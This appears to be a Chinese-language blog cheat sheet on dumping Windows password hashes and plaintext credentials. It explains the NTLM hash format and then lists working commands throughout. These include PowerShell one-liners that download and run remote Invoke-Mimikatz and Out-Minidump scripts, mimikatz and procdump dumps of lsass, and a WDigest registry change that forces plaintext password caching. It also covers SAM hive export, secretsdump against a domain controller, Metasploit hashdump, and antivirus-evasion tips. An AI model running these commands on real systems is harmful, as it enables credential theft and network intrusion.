Windows之hash获取小结
基础:
windows hash由二部分组成,分别是LM HASH和NTLM HASH,这是对同一个密码的两种不同的加密方式。
username:RID:LM-HASH值:NTLM-HASH值
window下uid号为500的即为管理员权限(linux为0)
比如:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
NTLM-Hash的生成方法为:
1.将明文口令转换成十六进制的格式
2.转换成Unicode格式,即在每个字节之后添加0x00
3.对Unicode字符串作MD4加密,生成32位的十六进制数字串
这里我们以密码:123456,作为例子
十六进制为 313233343536
Unicode字符串为 310032003300340035003600
NTLM-Hash为 32ed87bdb5fdc5e9cba88547376818d4
LM-Hash(LAN Manager Hash)是微软的一种散列加密算法,本质为DES加密
具体原理请参考:
安全科普:详解Windows Hash与破解
LM-Hash && NTLM-Hash
当LM Hash是aad3b435b51404eeaad3b435b51404ee,它对大小写不敏感,这表示空密码或者是未使用LM_HASH。这里不做过多解释,因为从Windows Server 2008版本开始,系统禁用了LM hash
获取hash的工具
powershell脚本(需要管理员权限):
# Get-PassHashes.ps1
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes
# Invoke-Mimikatz.ps1
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1');Invoke-Mimikatz
# Out-Minidump.ps1
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Out-Minidump.ps1'); "Get-Process lsass | Out-Minidump"
# 假设上一个命令生成了lsass_528.dmp,再用mimikatz从dumps中获取明文
mimikatz.exe "sekurlsa::minidump lsass_528.dmp" "sekurlsa::logonPasswords full" exit
这里有个问题就是mimikatz(包括powershell版),当系统为win10或2012R2及以上时,默认在内存缓存中禁止保存明文密码,如下图,密码字段显示为null
此时可以通过修改注册表,赋予进程lsass明文记录密码权限,然后发起进行锁屏命令,待管理员再次输入密码登陆系统,再次抓取将可获得明文密码。
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
mimikatz工具:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" "exit"
secretsdump.py:
导出域控所有hash,可能能直接获取明文密码
python secretsdump.py -hashes 0000000000000000000000000000000:187ff47deff1xxxxxxxxxxxxxxxxxxxx tester@192.168.107.189 -dc-ip 192.168.107.189
LaZagne工具
LaZagne是一款用于检索大量存储在本地计算机密码的开源应用程序。该工具不仅能抓取windows密码,还可以抓取浏览器中的缓存的密码、SVN密码、wifi密码、邮箱密码等功能,适用于windows、Linux、MAC
项目地址:https://github.com/AlessandroZ/LaZagne
运行命令:
pip install -r requirements.txt
python laZagne.py all
或者下载发行版exe:https://github.com/AlessandroZ/LaZagne/releases
Pwdump7.exe工具
项目地址:https://www.openwall.com/passwords/windows-pwdump
拷贝libeay32.dll和Pwdump7.exe在同一目录下
直接运行获取hash
wce工具:
项目地址:https://www.ampliasecurity.com/research.html
支持Windows XP, 2003, Vista, 7, 2008 and Windows 8
该工具分为32位、64位。它可以列举登陆会话,并且可以添加、改变和删除相关凭据
# 读取系统明文密码
wce.exe -w
# 获取hash
wce.exe -l
缺点:很容易被查杀
SAM表获取hash
导出导出SAM和System文件
reg save HKLM\SYSTEM sys.hiv
reg save HKLM\SAM sam.hiv
将注册表的SAM、System文件导出到本地磁盘。
使用mimikatz读取SAM和System文件。可获取NTLM Hash
mimikatz.exe "lsadump::sam /system:sys.hiv /sam:sam.hiv" exit
metaploit 框架
在得到session的基础上,尝试抓取hash值。
metasploit支持多种hash获取。
1、hashdump
在system权限下,可抓取hash
2、windows/gather/smart_hashdump 脚本
run windows/gather/smart_hashdump
并将所有hash导出到:
/root/.msf4/loot/20200708154030_default_192.168.107.136_windows.hashes_667293.txt
3、load mimikatz 命令
加载mimikatz模块
常用命令:
msv # 获取hash
kerberos # 获取明文
ssp # 获取明文信息
tspkg # 尝试检索tspkg凭据
wdigest # 尝试检索wdigest凭据
mimikatz_command -f samdump::hashes # 获取hash
mimikatz_command -f sekurlsa::searchPasswords # 获取明文密码
个人感觉msf自带的mimikatz模块不是那么好用,不如直接upload一个mimimatz到目标机器上
免杀方案:
prodump.exe工具
该工具是微软出品的工具,具有一定免杀效果。设计初衷是抓取崩溃进程的内存数据,可监控应用程序的CPU异常动向, 并在此异常时生成crash dump文件, 供研发人员和管理员确定问题发生的原因。
项目地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
可以利用procdump把lsass进程的内存文件导出本地,再在本地利用mimikatz读取密码。
# 导出lsass.dmp
procdump.exe -accepteula -ma lsass.exe lsass.dmp
再使用mimikatz读取密码:
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
需要注意的是从目标机器导出的lsass.dmp需要在相同系统下运行。
SharpDump工具
Out-Minidump.ps1 脚本C#版本编译后的结果。
ps项目地址:https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Out-Minidump.ps1
SharpDump项目地址:https://github.com/GhostPack/SharpDump/
把lsass.exe进程数据导出来
dump的文件的后缀名为bin,拖到本地机器上后,先重命名为 zip,然后再解压
并使用本地的mimikatz进行读取。
mimikatz.exe "sekurlsa::minidump debug572" "sekurlsa::logonPasswords full" "exit"
破解hash的网站:
https://www.objectif-securite.ch/en/ophcrack
http://cracker.offensive-security.com/index.php